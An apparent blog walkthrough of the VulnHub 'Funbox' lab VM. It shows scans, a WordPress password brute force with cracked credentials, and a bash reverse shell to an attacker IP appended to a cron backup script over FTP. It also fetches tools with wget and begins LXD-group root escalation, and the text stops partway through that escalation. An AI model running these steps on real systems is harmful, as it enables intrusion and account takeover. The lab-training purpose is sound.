VulnHub Funbox Vulnerable VM WalkThrough
Funbox is a boot to root vulnerable VM that recently came out on Vulnhub. This is categorized as an easy VM to get root on so, but why don’t we see for ourselves, huh?
Tools Used:
Nmap, Dirb, WPScan, Linpeas.sh, Python Simple Server
Let’s start out with a typical Nmap scan.
Enumeration
Nmap Scan: nmap -A -sV -Pn -p- 192.168.1.186
user@user:~/Desktop$ nmap -A -sV -Pn -p- 192.168.1.186
Starting Nmap 7.80 ( https://nmap.org ) at 2020–08–24 15:24 EDT
Nmap scan report for funbox.attlocal.net (192.168.1.186)
Host is up (0.0095s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret/
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://funbox.fritz.box/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message”
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=8/24%Time=5F4413FD%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,”\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,”\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,”\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\”\x05HY000")%r(Help,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,”\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\”\x05HY000")%r(TerminalServerCookie
SF:,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,”\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\”
SF:\x05HY000")%r(Kerberos,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,”\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\”\x05HY0
SF:00")%r(FourOhFourRequest,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,”\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\”\
SF:x05HY000")%r(LDAPBindReq,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,”\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,”
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,”\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\”\x05HY000
SF:”)%r(JavaRMI,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,”\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,”\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,”\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\”\
SF:x05HY000")%r(giop,9,”\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.74 seconds
We have several ports open:
Port 21 — FTP
Port 22 — SSH
Port 80 — Web Service
Port 33060 — Unknown
Since the box was running a web server on port 80, I decided to take a look. I was met with this error:
This error is pretty common if the web server is running DNS so let’s get it working! If you look closely at the error, you can see the address that it’s trying to find: funbox.fritz.box.
So we need to update our /etc/hosts file to get the right DNS. I opened my /etc/hosts and edited it to make the new entry.
Now when I browse to the address name, I am met with the full website!
Looks like this joker is running Wordpress. Let’s run a dirb scan on it to see what we can find.
Dirb Scan: dirb http://192.168.1.186
user@user:~/Desktop$ sudo dirb http://192.168.1.186
— — — — — — — — -
DIRB v2.22
By The Dark Raver
— — — — — — — — -
START_TIME: Mon Aug 24 15:40:21 2020
URL_BASE: http://192.168.1.186/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
— — — — — — — — -
GENERATED WORDS: 4612
— — Scanning URL: http://192.168.1.186/ — —
+ http://192.168.1.186/index.php (CODE:200|SIZE:61294)
+ http://192.168.1.186/robots.txt (CODE:200|SIZE:19)
==> DIRECTORY: http://192.168.1.186/secret/
+ http://192.168.1.186/server-status (CODE:403|SIZE:278)
==> DIRECTORY: http://192.168.1.186/wp-admin/
==> DIRECTORY: http://192.168.1.186/wp-content/
==> DIRECTORY: http://192.168.1.186/wp-includes/
+ http://192.168.1.186/xmlrpc.php (CODE:405|SIZE:42)
— — Entering directory: http://192.168.1.186/secret/ — —
+ http://192.168.1.186/secret/index.html (CODE:200|SIZE:30)
— — Entering directory: http://192.168.1.186/wp-admin/ — —
+ http://192.168.1.186/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.1.186/wp-admin/css/
==> DIRECTORY: http://192.168.1.186/wp-admin/images/
==> DIRECTORY: http://192.168.1.186/wp-admin/includes/
+ http://192.168.1.186/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.1.186/wp-admin/js/
==> DIRECTORY: http://192.168.1.186/wp-admin/maint/
==> DIRECTORY: http://192.168.1.186/wp-admin/network/
==> DIRECTORY: http://192.168.1.186/wp-admin/user/
— — Entering directory: http://192.168.1.186/wp-content/ — —
+ http://192.168.1.186/wp-content/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.1.186/wp-content/plugins/
==> DIRECTORY: http://192.168.1.186/wp-content/themes/
==> DIRECTORY: http://192.168.1.186/wp-content/upgrade/
==> DIRECTORY: http://192.168.1.186/wp-content/uploads/
— — Entering directory: http://192.168.1.186/wp-includes/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://192.168.1.186/wp-admin/css/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://192.168.1.186/wp-admin/images/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://192.168.1.186/wp-admin/includes/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://192.168.1.186/wp-admin/js/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://192.168.1.186/wp-admin/maint/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://192.168.1.186/wp-admin/network/ — —
+ http://192.168.1.186/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://192.168.1.186/wp-admin/network/index.php (CODE:302|SIZE:0)
— — Entering directory: http://192.168.1.186/wp-admin/user/ — —
+ http://192.168.1.186/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://192.168.1.186/wp-admin/user/index.php (CODE:302|SIZE:0)
— — Entering directory: http://192.168.1.186/wp-content/plugins/ — —
+ http://192.168.1.186/wp-content/plugins/index.php (CODE:200|SIZE:0)
— — Entering directory: http://192.168.1.186/wp-content/themes/ — —
+ http://192.168.1.186/wp-content/themes/index.php (CODE:200|SIZE:0)
— — Entering directory: http://192.168.1.186/wp-content/upgrade/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://192.168.1.186/wp-content/uploads/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — — — — — — — -
END_TIME: Mon Aug 24 15:43:34 2020
DOWNLOADED: 36896 — FOUND: 14
Oooo looks like there’s a “secret” directory:
Let’s check it out to see if there’s any treasure:
Lame! Okay, let’s move on. Maybe there’s default creds for the Wordpress blog. This is supposed to be an easy VM right?
Admin/admin didn’t work so let’s see what we can get out of WPScan. I used the following commands but was met with an annoying error!
Fine! Let’s use the ignore-main-redirect option and see what happens!
Huh? Of course it’s running WordPress. I saw it for myself, guy. Let’s use the “force” option from the documentation and see what that does:
wpscan — url http://192.168.1.186/ — enumerate u — ignore-main-redirect — force
user@user:~$ wpscan — url http://192.168.1.186/ — enumerate u — ignore-main-redirect — force
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | ‘_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.4
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.1.186/ [192.168.1.186]
[+] Started: Mon Aug 24 16:15:03 2020
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| — Server: Apache/2.4.41 (Ubuntu)
| — X-Redirect-By: WordPress
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://192.168.1.186/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.1.186/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| — http://codex.wordpress.org/XML-RPC_Pingback_API
| — https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| — https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| — https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| — https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://192.168.1.186/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.1.186/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.1.186/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| — https://www.iplocation.net/defend-wordpress-from-ddos
| — https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.2 identified (Latest, released on 2020–06–10).
| Found By: Atom Generator (Aggressive Detection)
| — http://192.168.1.186/index.php/feed/atom/, <generator uri=”https://wordpress.org/" version=”5.4.2">WordPress</generator>
| Confirmed By: Style Etag (Aggressive Detection)
| — http://192.168.1.186/wp-admin/load-styles.php, Match: ‘5.4.2’
[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs — Time: 00:00:00 <=============================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] joe
| Found By: Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Mon Aug 24 16:15:06 2020
[+] Requests Done: 46
[+] Cached Requests: 16
[+] Data Sent: 11.398 KB
[+] Data Received: 211.618 KB
[+] Memory used: 110.535 MB
[+] Elapsed time: 00:00:02
Okay! We have a couple of users: admin and joe. Let’s see if we can bruteforce our way in with the rockyou password list!
We’ll use WPScan again with a new argument:
wpscan — url 192.168.1.186 — enumerate u — passwords /usr/share/wordlists/rockyou.txt — ignore-main-redirect — force
user@user:~/Desktop$ wpscan — url 192.168.1.186 — enumerate u — passwords /usr/share/wordlists/rockyou.txt — ignore-main-redirect — force
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | ‘_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.4
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.1.186/ [192.168.1.186]
[+] Started: Mon Aug 24 17:10:39 2020
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| — Server: Apache/2.4.41 (Ubuntu)
| — X-Redirect-By: WordPress
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://192.168.1.186/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.1.186/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| — http://codex.wordpress.org/XML-RPC_Pingback_API
| — https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| — https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| — https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| — https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://192.168.1.186/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.1.186/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.1.186/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| — https://www.iplocation.net/defend-wordpress-from-ddos
| — https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.2 identified (Latest, released on 2020–06–10).
| Found By: Atom Generator (Aggressive Detection)
| — http://192.168.1.186/index.php/feed/atom/, <generator uri=”https://wordpress.org/" version=”5.4.2">WordPress</generator>
| Confirmed By: Style Etag (Aggressive Detection)
| — http://192.168.1.186/wp-admin/load-styles.php, Match: ‘5.4.2’
[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs — Time: 00:00:00 <==================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] joe
| Found By: Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] admin
| Found By: Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] — joe / 12345
[SUCCESS] — admin / iubire
Trying admin / a123456 Time: 00:00:11 < > (670 / 28689454) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: joe, Password: 12345
| Username: admin, Password: iubire
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Mon Aug 24 17:10:56 2020
[+] Requests Done: 721
[+] Cached Requests: 12
[+] Data Sent: 220.948 KB
[+] Data Received: 3.589 MB
[+] Memory used: 111.816 MB
[+] Elapsed time: 00:00:16
All right! Looks like we got some passwords! Let’s go ahead and upload a shell. Since this is such an easy box, why not upload our shell manually?
We enter our creds: admin and iubire. And looky there, we’re in!
(NOTE: This was a rabbit hole so you can scroll down to the FTP section where this picks up. I just like to take you through my entire methodology.)
We can click on the “Appearance” tab and then go to “Theme Editor.” Everybody has a favorite place to put their shell, but I like using the 404.php file. You can find it on the right side of the screen:
Select all of the text and delete it. We’re going to replace it with our PHP Reverse Shell:
Now go to the “Files” icon on your Kali dock and click the “Other Locations” option on left side of the screen:
Click on “Computer” and then go to the “usr” directory:
Go to “Share” and then go to the “Webshells” directory:
Go to the “php” folder and then copy the “php-reverse-shell.php” file to your home folder:
Open the php-reverse-shell file with TextEditor and scroll down to the line that has the IP and port:
Select the entire text and then copy it:
Paste that text into the editor of the Wordpress site:
Now scroll down the editor to “Update File” and click on it.
Oh no! We are met with an error:
I have seen this error before! The fix was to make a different theme the default. I have gotten this to work with theme Twenty Nineteen. Let’s copy our php-reverse-shell code and change the theme:
Click “Themes” on the left side of the console and you’ll be taken to a new menu with all of the themes available:
Hover over the bottom of Twenty Nineteen and click on “Activate.” Now let’s go back to the theme editor and put our shell code back into the 404.php template:
Ahhh! Same error. Okay. We have some creds. Maybe they will work elsewhere? Let’s start with FTP. Since admin isn’t too likely, we’ll try the Joe user:
Looks like joe and his password 12345 work perfectly. Let’s poke around in here to see what we can find:
Navigating to the “home” folder we see two different users: “funny” and “joe.” When looking for hidden files in funny’s home directory, I see something interesting. There is a script called “.backup.sh.” The permissions on it are read, write, execute all the way around so let’s grab it and see what it does.
I use the “binary” option so the characters don’t get mangled on transfer and get it onto my system:
Let’s take a look at the script and see what it’s doing:
It looks like it’s simply compressing files for an archive. There is also a reminder.sh script that reiterates that this probably running a cron job or something:
Why don’t we put a little bash shell in there and see what happens?
user@user:~$ echo “bash -i >& /dev/tcp/192.168.1.188/1234 0>&1” >> .backup.sh
user@user:~$ cat .backup.sh
#!/bin/bash
tar -cf /home/funny/html.tar /var/www/html
bash -i >& /dev/tcp/192.168.1.188/1234 0>&1
user@user:~$
Now we transfer our modified .backup.sh file back onto the FTP server:
Set up a netcat listener and just wait:
After a couple of seconds, you should have a reverse shell. Here’s mine!
At this point, there are several methods of Privilege Escalation that you can get. I’m going to take you through two that I found. There might be more.
Privilege Escallation Method 1 — LXD Group Privilege Escallation Method
Let’s see what kind of privileges we have here. First thing I’m going to do is transfer a privilege escalation script over. It’s called linpeas.sh. If you don’t have it, here’s the git clone:
I transfer it over to the /tmp/ folder from a python simple server:
On the target, I use wget to transfer it:
funny@funbox:/tmp$ wget 192.168.1.188/linpeas.sh
wget 192.168.1.188/linpeas.sh
— 2020–08–25 00:03:59 — http://192.168.1.188/linpeas.sh
Connecting to 192.168.1.188:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 239995 (234K) [text/x-sh]
Saving to: ‘linpeas.sh’
0K ………. ………. ………. ………. ………. 21% 1.60M 0s
50K ………. ………. ………. ………. ………. 42% 1.47M 0s
100K ………. ………. ………. ………. ………. 64% 6.16M 0s
150K ………. ………. ………. ………. ………. 85% 1.44M 0s
200K ………. ………. ………. …. 100% 6.09M=0.1s
2020–08–25 00:03:59 (2.06 MB/s) — ‘linpeas.sh’ saved [239995/239995]
I give it a “chmod +x linpeas.sh” so that it’s executable and then start it up. I love this script because it’s colorful. It’s easy to see something when it’s colored differently. There are times when this script misses something (as we’ll see later), but for the most part, it’s a great place to start for easy wins.
Right off the bat, linpeas gives us a hit on the user’s group:
I’m not too familiar with this group, so let’s do some research. A quick google search shows that this group can lead straight to root privilege:
I start out by downloading the alpine-builder from the github repo:
user@user:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into ‘lxd-alpine-builder’…
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Unpacking objects: 100% (27/27), 15.98 KiB | 743.00 KiB/s, done.
I then cd into the new directory and install the alpine build:
user@user:~$ cd lxd-alpine-builder/
user@user:~/lxd-alpine-builder$ ./build-alpine
build-alpine: must be run as root
user@user:~/lxd-alpine-builder$ sudo ./build-alpine
[sudo] password for user:
Determining the latest release… v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r0.apk
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
Downloading alpine-keys-2.2-r0.apk
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
Downloading apk-tools-static-2.10.5-r1.apk
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
tar: Ignoring unknown extended header keyword ‘APK-TOOLS.checksum.SHA1’
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
Selecting mirror http://mirror.fit.cvut.cz/alpine/v3.12/main
fetch http://mirror.fit.cvut.cz/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r9)
(2/19) Installing busybox (1.31.1-r19)
Executing busybox-1.31.1-r19.post-install
(3/19) Installing alpine-baselayout (3.2.0-r7)
Executing alpine-baselayout-3.2.0-r7.pre-install
Executing alpine-baselayout-3.2.0-r7.post-install
(4/19) Installing openrc (0.42.1-r11)
Executing openrc-0.42.1-r11.post-install
(5/19) Installing alpine-conf (3.9.0-r1)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
user@user:~/lxd-alpine-builder$
There should be a tar.gz file created in the directory. Let’s check:
Great! Now we need to get that file over to the target machine. Let’s set up our python server for the transfer:
Back on the target, let’s request the tar.gz file:
funny@funbox:/tmp$ wget 192.168.1.188/alpine-v3.12-x86_64–20200825_0818.tar.gz
<.168.1.188/alpine-v3.12-x86_64–20200825_0818.tar.gz
— 2020–08–25 12:23:52 — http://192.168.1.188/alpine-v3.12-x86_64-20200825_0818.tar.gz
Connecting to 192.168.1.188:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 3213333 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64–20200825_0818.tar.gz’
0K ………. ………. ………. ………. ………. 1% 1.34M 2s
50K ………. ………. ………. ………. ………. 3% 1.23M 2s
100K ………. ………. ………. ………. ………. 4% 1.21M 2s
150K ………. ………. ………. ………. ………. 6% 483K 3s
200K ………. ………. ………. ………. ………. 7% 113M 3s
250K ………. ………. ………. ………. ………. 9% 97.5M 2s
300K ………. ………. ………. ………. ………. 11% 125M 2s
350K ………. ………. ………. ………. ………. 12% 1.08M 2s
400K ………. ………. ………. ………. ………. 14% 5.50M 2s
450K ………. ………. ………. ………. ………. 15% 1.12M 2s
500K ………. ………. ………. ………. ………. 17% 4.73M 2s
550K ………. ………. ………. ………. ………. 19% 1.46M 2s
600K ………. ………. ………. ………. ………. 20% 4.01M 1s
650K ………. ………. ………. ………. ………. 22% 1.83M 1s
700K ………. ………. ………. ………. ………. 23% 1.57M 1s
750K ………. ………. ………. ………. ………. 25% 11.9M 1s
800K ………. ………. ………. ………. ………. 27% 1.17M 1s
850K ………. ………. ………. ………. ………. 28% 3.62M 1s
900K ………. ………. ………. ………. ………. 30% 2.41M 1s
950K ………. ………. ………. ………. ………. 31% 1.65M 1s
1000K ………. ………. ………. ………. ………. 33% 1.74M 1s
1050K ………. ………. ………. ………. ………. 35% 1.95M 1s
1100K ………. ………. ………. ………. ………. 36% 2.69M 1s
1150K ………. ………. ………. ………. ………. 38% 1.51M 1s
1200K ………. ………. ………. ………. ………. 39% 6.92M 1s
1250K ………. ………. ………. ………. ………. 41% 1.77M 1s
1300K ………. ………. ………. ………. ………. 43% 1.55M 1s
1350K ………. ………. ………. ………. ………. 44% 3.79M 1s
1400K ………. ………. ………. ………. ………. 46% 1.68M 1s
1450K ………. ………. ………. ………. ………. 47% 1.80M 1s
1500K ………. ………. ………. ………. ………. 49% 4.46M 1s
1550K ………. ………. ………. ………. ………. 50% 2.48M 1s
1600K ………. ………. ………. ………. ………. 52% 1.23M 1s
1650K ………. ………. ………. ………. ………. 54% 1.34M 1s
1700K ………. ………. ………. ………. ………. 55% 3.86M 1s
1750K ………. ………. ………. ………. ………. 57% 3.77M 1s
1800K ………. ………. ………. ………. ………. 58% 2.37M 1s
1850K ………. ………. ………. ………. ………. 60% 2.01M 1s
1900K ………. ………. ………. ………. ………. 62% 1.64M 1s
1950K ………. ………. ………. ………. ………. 63% 2.29M 1s
2000K ………. ………. ………. ………. ………. 65% 2.87M 1s
2050K ………. ………. ………. ………. ………. 66% 1.55M 1s
2100K ………. ………. ………. ………. ………. 68% 6.81M 0s
2150K ………. ………. ………. ………. ………. 70% 1.33M 0s
2200K ………. ………. ………. ………. ………. 71% 3.55M 0s
2250K ………. ………. ………. ………. ………. 73% 2.33M 0s
2300K ………. ………. ………. ………. ………. 74% 2.13M 0s
2350K ………. ………. ………. ………. ………. 76% 1.63M 0s
2400K ………. ………. ………. ………. ………. 78% 1.98M 0s
2450K ………. ………. ………. ………. ………. 79% 3.57M 0s
2500K ………. ………. ………. ………. ………. 81% 2.84M 0s
2550K ………. ………. ………. ………. ………. 82% 1.42M 0s
2600K ………. ………. ………. ………. ………. 84% 6.29M 0s
2650K ………. ………. ………. ………. ………. 86% 1.64M 0s
2700K ………. ………. ………. ………. ………. 87% 1.51M 0s
2750K ………. ………. ………. ………. ………. 89% 1.45M 0s
2800K ………. ………. ………. ………. ………. 90% 2.67M 0s
2850K ………. ………. ………. ………. ………. 92% 1.31M 0s
2900K ………. ………. ………. ………. ………. 94% 4.88M 0s
2950K ………. ………. ………. ………. ………. 95% 1.63M 0s
3000K ………. ………. ………. ………. ………. 97% 1.33M 0s
3050K ………. ………. ………. ………. ………. 98% 2.20M 0s
3100K ………. ………. ………. …….. 100% 127M=1.5s
2020–08–25 12:23:53 (1.99 MB/s) — ‘alpine-v3.12-x86_64–20200825_0818.tar.gz’ saved [3213333/3213333]
Now that we have the image on our host, we need to add it to the LXD, but we hit a snag:
Let’s fix the PATH shall we?
export PATH=$PATH:/snap/bin
Now let’s re-run our image import and see if we can get this guy going:
lxc image import ./alpine-v3.12-x86_64–20200825_0818.tar.gz — alias myimage
Sweet! Let’s make sure it’s added our image list:
lxc image list
It’s there! Time to move on. At this point, I found that my shell was not a TTY shell. The next set of commands kept failing. So, I used the python one-liner to get a tty shell:
python -c 'import pty; pty.spawn("/bin/sh")'
lxc init myimage ignite -c security.privileged=true
We are met with another error!
We need to create a storage pool. So, we use the lxd init command for this. We are going to use all the default settings except the one where it asks about the backend storage. Type “dir” for that as displayed in the screenshot:
Now we can move on with our commands:
